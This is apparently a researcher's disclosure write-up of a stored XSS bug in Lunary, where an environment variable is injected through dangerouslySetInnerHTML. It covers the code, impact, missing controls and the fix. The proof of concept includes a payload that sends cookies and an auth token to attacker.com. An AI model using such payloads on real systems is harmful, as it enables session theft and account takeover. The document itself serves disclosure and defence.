Not every cross site scripting bug hides in a search box or a comment field. Some of them sit quietly in a configuration value that nobody thinks of as user input. This is the story of one such bug in Lunary, an open source platform for monitoring and analytics of AI applications, where a single environment variable was enough to run my JavaScript in every user's browser.
Lunary gives teams a dashboard to observe, debug, and analyze their large language model applications. Like many analytics tools, it lets the operator drop in a custom script, for example a tag manager or a third party analytics snippet, through an environment variable named NEXT_PUBLIC_CUSTOM_SCRIPT. It is a convenient feature. It is also where the trouble begins.
The vulnerability
A critical stored cross site scripting (XSS) vulnerability exists in the Analytics component, where the value of NEXT_PUBLIC_CUSTOM_SCRIPT is injected directly into the page using React's dangerouslySetInnerHTML, with no sanitization or validation of any kind. Here is the offending code:
{process.env.NEXT_PUBLIC_CUSTOM_SCRIPT && (
<Script
id="custom-script"
dangerouslySetInnerHTML={{
__html: process.env.NEXT_PUBLIC_CUSTOM_SCRIPT, // unvalidated injection
}}
onLoad={() => console.info("Custom script loaded.")}
onError={() => console.info("Custom script failed to load.")}
/>
)}
Read that closely. Whatever string lives in NEXT_PUBLIC_CUSTOM_SCRIPT is handed straight to dangerouslySetInnerHTML, which writes it into the page as raw HTML. The word dangerously is React's own way of warning you that you are stepping around its built in escaping. There is no validation, no encoding, and no allowlist of what the value may hold. If it contains markup, the browser parses and runs it, exactly as if the application had written it on purpose. The value is rendered on every page the dashboard serves, which means it reaches every user.
Proof of concept
Setting the variable requires server access or a compromised deployment. Once it is set, nothing else is needed from the victim. To make the bug undeniable, I start with the loudest possible payload:
export NEXT_PUBLIC_CUSTOM_SCRIPT="</script><script>alert('XSS: ' + document.cookie + ' Token: ' + localStorage.getItem('auth-token'))</script>"
This payload first closes the surrounding script element with </script>, then opens a fresh one of its own. The browser treats that new script as legitimate page code and runs it, popping an alert that prints the victim's cookies and their auth-token from local storage. It is noisy on purpose, the clearest proof that arbitrary JavaScript executes.
- Set the malicious environment variable shown above.
- Start the application with
npm run start. - Navigate to any page. The script executes immediately, with no clicks and no interaction.
An attacker would never use an alert in practice. The same injection point does the quiet, dangerous thing just as easily. This version exfiltrates the session instead of announcing it:
export NEXT_PUBLIC_CUSTOM_SCRIPT="fetch('https://attacker.com/steal', {
method: 'POST',
body: JSON.stringify({
cookies: document.cookie,
token: localStorage.getItem('auth-token'),
url: window.location.href
})
})"
Here the payload reads the same cookies and authentication token, bundles them with the current URL, and sends them in a background POST request to a server the attacker controls. The victim sees nothing at all. With that token in hand, replaying it against the API is enough to take over the account. Because the script runs for everyone who opens the dashboard, a single poisoned variable compromises every user at once, and it keeps doing so until someone notices and clears the value.
The variable does not have to be set by hand on the server. It can be reached through several deployment side attack vectors:
- Compromised CI/CD pipelines
- Container environment manipulation
- Server side template injection in deployment scripts
- Supply chain attacks targeting deployment infrastructure
Where it lived
The flaw sits in a single file, where the environment variable is rendered with no security controls around it.
File: packages/frontend/components/layout/Analytics.tsx, lines 25 to 34, with the injection on line 29.
Impact
- Complete account takeover: steal authentication tokens and session cookies from all users.
- Data exfiltration: access sensitive user data, API keys, and project information.
- Malware distribution: redirect users to malicious sites or push downloads.
- Persistent attack: affects all users until the environment variable is cleaned.
- Reputation damage: a complete compromise of user trust and platform security.
Missing security controls
- Input validation and sanitization
- Content Security Policy (CSP) enforcement
- HTML encoding and escaping
- Script source allowlisting
- Environment variable validation
Disclosure and fix
I reported this on May 25th, 2025, and it was triaged as valid. It was later assigned CVE-2025-5352, rated critical with a CVSS score of 9.6, and fixed in version 1.9.25 by no longer trusting that variable as raw HTML. If you run Lunary, upgrade to 1.9.25 or later and review any custom script value you have configured. You can read the advisory on huntr, on the National Vulnerability Database, and in React's own documentation on dangerouslySetInnerHTML.
The takeaway
The lesson I keep relearning is that input is not only what a user types into a form. A configuration value, an environment variable, a setting in an admin panel, all of it can become user input the moment an attacker can influence it. If raw HTML ever reaches the DOM without sanitization, it does not matter where it came from. Treat dangerouslySetInnerHTML as a promise you have to keep, not a shortcut you get to take.
Stay curious.
Sahil
Sahil Ojha